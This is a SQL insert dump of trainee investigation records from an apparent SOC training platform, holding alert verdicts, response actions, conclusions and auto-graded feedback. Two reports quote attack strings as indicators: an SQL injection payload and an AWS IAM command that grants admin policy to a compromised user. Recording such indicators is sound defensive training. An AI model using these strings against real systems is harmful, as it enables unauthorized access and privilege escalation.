(165, 93, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_hash\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"An email from abc123@example.com which is detected for unusual activity sent to employee@corporate.com which had an malware attachment named urgent_document and the subject was urgent warning , when an email is sent as urgently it has higher chances to be phishing \\nemail was sent from external IP - 203.0.113.45 which is known for phishing campaigns.\",\"submitted_at\":\"2026-01-20T21:20:08.170Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Missed response actions (3/4)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-20 20:57:32', '2026-01-31 21:00:01', 0, NULL),
(166, 93, 728, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"A malicious IP from outside tried to bruteforce the internal network server. Malicious IP was reported 174 times for bruteforce earlier.\",\"submitted_at\":\"2026-01-20T21:01:30.744Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/1). Missed response actions (2/3)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-20 20:57:43', '2026-01-31 21:00:01', 0, NULL),
(167, 93, 283, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"An external IP 203.0.113.45 tried to access an internal IP 192.168.1.10 and it was too much failure attemps , so they didnt success to connect and find the password.\",\"submitted_at\":\"2026-01-20T21:08:02.426Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-20 21:02:24', '2026-01-31 21:00:01', 0, NULL),
(168, 93, 948, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"An external IP - 203.0.113.45 whish is reported 847 times as malicious did bruteforce to the internal user of the organization jdoe with ip - 192.168.1.10 / workstation01- and had 35 failed attempts.\",\"submitted_at\":\"2026-01-20T21:13:10.766Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/1). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-20 21:08:22', '2026-01-31 21:00:01', 0, NULL),
(169, 93, 269, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-20 21:20:08', '2026-01-20 21:20:08', 0, NULL),
(170, 94, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-21 01:57:29', '2026-01-21 01:57:29', 0, NULL),
(171, 95, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"artefatos maliciosos detectados\",\"submitted_at\":\"2026-01-21T18:59:04.089Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Missed response actions (3/4)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-21 17:18:27', '2026-01-31 21:00:01', 0, NULL),
(172, 95, 761, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"test de analise.\",\"submitted_at\":\"2026-01-21T18:41:12.896Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-21 18:36:11', '2026-01-31 21:00:01', 0, NULL),
(173, 95, 625, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"test\",\"submitted_at\":\"2026-01-21T18:44:05.291Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/1). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-21 18:42:03', '2026-01-31 21:00:01', 0, NULL),
(174, 95, 227, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_2\",\"artifact_3\",\"artifact_5\",\"artifact_6\"],\"selectedActions\":[\"escalate\",\"collect_forensics\",\"reset_credentials\",\"block_hash\",\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"test\",\"submitted_at\":\"2026-01-21T18:53:10.865Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts (0/2). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-01-21 18:44:37', '2026-01-31 21:00:01', 0, NULL),
(175, 95, 269, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-21 18:59:04', '2026-01-21 18:59:04', 0, NULL),
(179, 34, 607, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-22T03:11:59.323Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-22 03:11:21', '2026-01-31 21:00:01', 0, NULL),
(182, 96, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-22 04:14:25', '2026-01-22 04:14:25', 0, NULL),
(183, 96, 621, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-01-22T04:16:29.689Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-22 04:14:42', '2026-01-31 21:00:01', 0, NULL),
(184, 96, 226, 'investigating', NULL, NULL, NULL, NULL, '2026-01-22 09:46:47', '2026-01-22 06:36:47', '2026-01-22 06:36:47', 0, NULL),
(187, 56, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-23 06:03:09', '2026-01-23 06:03:09', 0, NULL),
(188, 42, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-23 08:19:36', '2026-01-23 08:19:36', 0, NULL),
(190, 97, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-25 05:05:04', '2026-01-25 05:05:04', 0, NULL),
(191, 98, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-25 08:18:38', '2026-01-25 08:18:38', 0, NULL),
(192, 98, 282, 'investigating', NULL, NULL, NULL, NULL, '2026-01-25 11:45:46', '2026-01-25 08:37:46', '2026-01-25 08:37:46', 0, NULL),
(193, 99, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-25 15:14:16', '2026-01-25 15:14:16', 0, NULL),
(195, 74, 1086, 'investigating', NULL, NULL, NULL, NULL, '2026-01-25 19:28:41', '2026-01-25 16:19:41', '2026-01-25 16:19:41', 0, NULL),
(196, 102, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-25 21:55:00', '2026-01-25 21:55:00', 0, NULL),
(197, 107, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-27 19:45:55', '2026-01-27 19:45:55', 0, NULL),
(198, 108, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-27 19:55:53', '2026-01-27 19:55:53', 0, NULL),
(199, 109, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-27 21:08:02', '2026-01-27 21:08:02', 0, NULL),
(200, 107, 233, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"Confirmed phishing incident involving a spoofed banking domain and malicious credential-harvesting URL. \\nIOCs (IP, URL, sender domain) were enriched via OSINT and validated as malicious. \\nActivity mapped to MITRE ATT&CK T1566. \\nContainment actions included blocking the IP/domain and forcing credential reset for the affected user.\\nVerdict: True Positive.\\n\",\"submitted_at\":\"2026-01-28T15:04:50.937Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"block_url\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-28 14:35:51', '2026-01-31 21:00:01', 0, NULL),
(201, 107, 224, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_2\",\"artifact_4\",\"artifact_5\",\"artifact_6\",\"artifact_7\",\"artifact_8\",\"artifact_3\",\"artifact_1\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"Encoded PowerShell activity and a known malicious IP were identified, confirming an active C2 communication attempt. OSINT and hash analysis verified malware presence. Affected host and account were contained to prevent further compromise.\\n\\nVerdict: True Positive.\",\"submitted_at\":\"2026-01-28T16:29:47.262Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-01-28 15:35:44', '2026-01-31 21:00:01', 0, NULL),
(202, 115, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-01-31 12:38:02', '2026-01-31 12:38:02', 0, NULL),
(203, 116, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-01 09:07:07', '2026-02-01 09:07:07', 0, NULL),
(204, 116, 1104, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_hash\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-01T09:11:43.826Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/5)\",\"missed_items\":[\"isolate_host\",\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-01 09:09:51', '2026-02-28 21:00:00', 0, NULL),
(205, 116, 1105, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-01 09:11:43', '2026-02-01 09:11:43', 0, NULL),
(206, 123, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-02 10:07:03', '2026-02-02 10:07:03', 0, NULL),
(207, 124, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-02 10:09:53', '2026-02-02 10:09:53', 0, NULL),
(208, 125, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-04 01:34:01', '2026-02-04 01:34:01', 0, NULL),
(209, 126, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-04 22:06:35', '2026-02-04 22:06:35', 0, NULL),
(210, 74, 1141, 'investigating', NULL, NULL, NULL, NULL, '2026-02-05 11:34:26', '2026-02-05 08:26:26', '2026-02-05 08:26:26', 0, NULL),
(211, 65, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-05 16:49:25', '2026-02-05 16:49:25', 0, NULL),
(212, 65, 636, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-05T17:01:34.233Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-05 16:52:31', '2026-02-28 21:00:00', 0, NULL),
(213, 127, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-05 17:48:46', '2026-02-05 17:48:46', 0, NULL),
(215, 128, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-07 01:17:23', '2026-02-07 01:17:23', 0, NULL),
(216, 129, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-07 21:51:46', '2026-02-07 21:51:46', 0, NULL),
(217, 129, 949, 'investigating', NULL, NULL, NULL, NULL, '2026-02-08 01:02:48', '2026-02-07 21:52:48', '2026-02-07 21:52:48', 0, NULL),
(218, 131, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-08 08:16:29', '2026-02-08 08:16:29', 0, NULL),
(219, 133, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-08 16:07:44', '2026-02-08 16:07:44', 0, NULL),
(220, 135, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-08 17:42:27', '2026-02-08 17:42:27', 0, NULL),
(221, 136, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-09 22:07:29', '2026-02-09 22:07:29', 0, NULL),
(222, 136, 1225, 'investigating', NULL, NULL, NULL, NULL, '2026-02-10 01:20:43', '2026-02-09 22:12:43', '2026-02-09 22:12:43', 0, NULL),
(223, 137, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-10 12:44:50', '2026-02-10 12:44:50', 0, NULL),
(225, 138, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-203.0.113.45\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-11T17:09:07.813Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"block_hash\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-11 17:02:53', '2026-02-28 21:00:00', 0, NULL),
(226, 140, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"Subject identified as True Positive. Suspicious email contained malware detected by OSINT scan. Hash was identified to be malicious. Senders IP address is known to be associated with phishing organization. IP address was blocked on Firewall. Hash was also blocked on all host machines.\",\"submitted_at\":\"2026-02-11T17:16:22.373Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-11 17:05:54', '2026-02-28 21:00:00', 0, NULL),
(227, 138, 269, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-11 17:09:07', '2026-02-11 17:09:07', 0, NULL),
(228, 140, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.50\",\"ip-192.168.1.45\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"Subject is True Positive. The file hash is identified as Malicious. Senders IP address has been identified and is associated with malicious behavior and common phishing campaigns. Host has been quarantined. Senders IP address has been blacklisted in firewall. File hash has been blocked on all hosts. Escalated issue.\",\"submitted_at\":\"2026-02-11T17:33:57.651Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-11 17:16:22', '2026-02-28 21:00:00', 0, NULL),
(229, 140, 270, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-11 17:33:57', '2026-02-11 17:33:57', 0, NULL),
(230, 141, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-12 03:16:23', '2026-02-12 03:16:23', 0, NULL),
(231, 141, 729, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.20\",\"hash-e99a18c4\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"Based on the artifacts provided, this is assessed as a True Positive malware infection on internal host 10.0.0.20. The file path, executable type, and hash artifact collectively indicate malicious activity requiring containment and further forensic investigation.\\n\\nImmediate response and broader IOC hunting are advised.\",\"submitted_at\":\"2026-02-12T04:13:30.182Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command C:\\\\malicious_folder\\\\malware.exe (1/2). Missed response actions (3/4)\",\"missed_items\":[\"command: C:\\\\malicious_folder\\\\malware.exe\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-12 04:07:49', '2026-02-28 21:00:00', 0, NULL),
(232, 141, 253, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-203.0.113.45\",\"hash-abc123de\",\"domain-malicious-ex\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"On 2023-10-01 at 14:23:45 UTC, the Security Operations Center detected a process execution event on internal workstation DESKTOP-1A2B3C (192.168.1.101) associated with user account jdoe. The executed process (hash: abc123def456ghi789jkl012mno345pq) initiated outbound communication to external IP 203.0.113.45 and resolved domain malicious-example.com.\\nGiven the active outbound connection, the incident is assessed as a High-Severity True Positive. The affected endpoint was isolated to prevent lateral movement, and the associated IP, domain, and file hash were blocked at perimeter and endpoint controls. User credentials for jdoe are under review pending validation of potential compromise.\",\"submitted_at\":\"2026-02-12T04:18:58.336Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-12 04:14:28', '2026-02-28 21:00:00', 0, NULL),
(233, 141, 957, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.77\",\"ip-10.0.0.5\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"On 2026-01-16 at 17:55:00 UTC, the SOC detected a network connection attempt originating from external IP 203.0.113.77 targeting internal asset secure-server (10.0.0.5) using the privileged account “admin.” Likely True Positive unauthorized access attempt and classified as Medium–High severity pending further log correlation. All attempts failed. Preventative measures, including verification of firewall rules, potential IP blocking, and validation of privileged account protections (e.g., MFA enforcement), are recommended to mitigate ongoing risk\",\"submitted_at\":\"2026-02-12T04:25:05.765Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-12 04:19:44', '2026-02-28 21:00:00', 0, NULL),
(234, 137, 239, 'investigating', NULL, NULL, NULL, NULL, '2026-02-13 02:53:11', '2026-02-12 23:43:11', '2026-02-12 23:43:11', 0, NULL),
(235, 137, 687, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.26.102\",\"ip-192.168.1.10\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-13T00:04:15.388Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-12 23:59:29', '2026-02-28 21:00:00', 0, NULL),
(236, 137, 229, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"hash-e99a18c4\",\"artifact_1\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"reset_credentials\",\"isolate_host\",\"escalate\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"Hash value detected as malware, and the user account has multiple failed login attempts. \",\"submitted_at\":\"2026-02-13T13:10:32.657Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-13 00:05:11', '2026-02-28 21:00:00', 0, NULL),
(237, 142, 268, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/6/2026, 9:16:16 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T05:16:28.583Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-14 06:28:27', '2026-03-07 05:16:28', 0, NULL),
(238, 142, 1234, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.45.12\",\"ip-203.0.113.89\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"\",\"submitted_at\":\"2026-02-14T06:32:08.123Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (4/5)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-14 06:29:28', '2026-02-28 21:00:00', 0, NULL),
(239, 145, 954, 'investigating', NULL, NULL, NULL, NULL, '2026-02-14 12:48:14', '2026-02-14 09:40:14', '2026-02-14 09:40:14', 0, NULL),
(240, 95, 252, 'investigating', NULL, NULL, NULL, NULL, '2026-02-14 18:05:55', '2026-02-14 14:55:55', '2026-02-14 14:55:55', 0, NULL),
(241, 153, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-15 01:39:11', '2026-02-15 01:39:11', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(242, 99, 640, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.45\",\"ip-192.168.1.20\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 16/02/2026, 22:05:35\\nALERT: SQL Injection Attempt Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 198.51.100.45\\n- [IP] 192.168.1.20\\n- [PAYLOAD] \' OR \'1\'=\'1\' --\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-16T17:06:58.731Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-15 05:10:28', '2026-02-28 21:00:00', 0, NULL),
(243, 159, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-15 23:22:22', '2026-02-15 23:22:22', 0, NULL),
(244, 159, 953, 'investigating', NULL, NULL, NULL, '{\"verdict_correctness\":\"Incorrect\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Missed response actions (0/1)\",\"missed_items\":[\"close_alert\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-02-15 23:26:27', '2026-02-15 23:30:42', 0, NULL),
(245, 60, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-16 06:05:50', '2026-02-16 06:05:50', 0, NULL),
(246, 165, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-16 17:39:33', '2026-02-16 17:39:33', 0, NULL),
(247, 165, 756, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.77\",\"cmd-1\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 16/2/2026, 11:16:05 pm\\nALERT: Unauthorized IAM Privilege Escalation Attempt\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.77\\n- [COMMAND] aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-16T17:46:11.348Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"audit_user_activity\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-16 17:45:13', '2026-02-28 21:00:00', 0, NULL),
(248, 45, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-17 02:54:23', '2026-02-17 02:54:23', 0, NULL),
(249, 166, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-17 15:29:09', '2026-02-17 15:29:09', 0, NULL),
(250, 108, 1235, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-17 17:17:01', '2026-02-17 17:17:01', 0, NULL),
(251, 157, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-17 22:29:14', '2026-02-17 22:29:14', 0, NULL),
